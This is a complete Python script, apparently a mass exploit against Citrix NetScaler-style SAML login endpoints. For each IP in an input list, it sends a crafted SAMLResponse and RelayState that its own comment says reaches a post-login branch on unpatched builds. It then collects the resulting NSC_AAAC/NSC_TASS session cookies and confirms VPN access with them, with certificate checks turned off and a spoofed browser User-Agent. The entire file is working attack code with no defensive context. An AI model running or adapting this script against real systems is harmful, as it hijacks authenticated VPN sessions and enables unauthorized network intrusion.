import base64, ssl, sys, urllib.error, urllib.parse, urllib.request

UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36"
# length 16: post-login branch on unpatched builds (per Bishop Fox length map)
RS16 = base64.b64encode(b"ctx=" + b"\x00" * 12).decode()


def opener():
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    ctx.set_ciphers("DEFAULT@SECLEVEL=1")

    class NoRedir(urllib.request.HTTPRedirectHandler):
        def redirect_request(self, *a, **k):
            return None

    return urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx), NoRedir())


def post(op, ip, path, data):
    req = urllib.request.Request("https://%s%s" % (ip, path), data=data)
    req.add_header("User-Agent", UA)
    req.add_header("Content-Type", "application/x-www-form-urlencoded")
    try:
        r = op.open(req, timeout=15)
        return r.status, r.headers.get_all("Set-Cookie") or [], r.read(4096).decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        cks = e.headers.get_all("Set-Cookie") or []
        try:
            body = e.read(4096).decode("utf-8", "replace")
        except Exception:
            body = ""
        return e.code, cks, body
    except Exception as e:
        return None, [], type(e).__name__


def get(op, ip, path, cookie):
    req = urllib.request.Request("https://%s%s" % (ip, path))
    req.add_header("User-Agent", UA)
    if cookie:
        req.add_header("Cookie", cookie)
    try:
        r = op.open(req, timeout=15)
        return r.status, r.headers.get_all("Set-Cookie") or [], r.read(2048).decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        cks = e.headers.get_all("Set-Cookie") or []
        try:
            body = e.read(2048).decode("utf-8", "replace")
        except Exception:
            body = ""
        return e.code, cks, body
    except Exception:
        return None, [], ""


def real_cookies(cookies):
    out = []
    for c in cookies:
        name, _, val = c.partition("=")
        val = val.split(";")[0]
        if name.strip() in ("NSC_AAAC", "NSC_TASS") and val and val.lower() != "xyz":
            out.append("%s=%s" % (name.strip(), val))
    return out


def check(ip):
    op = opener()
    body = ("SAMLResponse=AAAA&RelayState=" + urllib.parse.quote(RS16, safe="")).encode()
    st, ck, b = post(op, ip, "/cgi/samlauth", body)
    rc = real_cookies(ck)
    if not rc:
        # follow the clientless chain in case the cookie is set there
        st2, ck2, _ = get(op, ip, "/cgi/setclient?cvpn", "")
        rc = real_cookies(ck2)
        if rc:
            return "%s\tSESSION\t/cgi/setclient\t%s\t%d" % (ip, ";".join(rc)[:80], st2 or 0)
        return "%s\tNOCOOKIE\t%d\t%s" % (ip, st or 0, (" ".join(b.split())[:60]))
    cookie = "; ".join(rc)
    st3, _, _ = get(op, ip, "/vpn/index.html", cookie)
    return "%s\tSESSION\t/cgi/samlauth\t%s\t%d" % (ip, cookie[:80], st3 or 0)


def main():
    src, out = sys.argv[1], sys.argv[2]
    ips = [l.split("\t")[0].strip() for l in open(src) if l.strip()]
    with open(out, "w") as f:
        for ip in ips:
            try:
                line = check(ip)
            except Exception as e:
                line = "%s\tEXC\t%s" % (ip, type(e).__name__)
            f.write(line + "\n")
            f.flush()
            print(line, flush=True)


main()
